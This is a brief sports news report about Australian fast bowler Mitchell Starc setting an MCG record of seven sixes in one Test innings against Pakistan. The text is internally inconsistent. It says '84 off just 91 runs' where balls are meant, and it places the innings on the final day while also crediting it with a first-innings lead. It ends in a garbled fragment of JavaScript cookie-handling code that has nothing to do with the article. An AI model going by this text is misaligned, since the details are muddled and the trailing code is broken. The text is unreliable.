Australian paceman Mitchell Starc set a new MCG record on day five, but surprisingly it was with the bat and not the ball.

With Australia in search of quick runs to set Pakistan a target on the final day, Starc smashed a brilliant 84 off just 91 runs.

He hit three fours and seven sixes in his knock, breaking the record for the most number of sixes hit in a single Test innings at the MCG.

All-rounder Andrew Symonds previously held the record for the most sixes in an innings, with six.

Starc's 84 helped Australia amass a huge total of 8 declared for 624, with Steve Smith unbeaten on 165, giving the hosts a first innings lead of 180 runs. "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}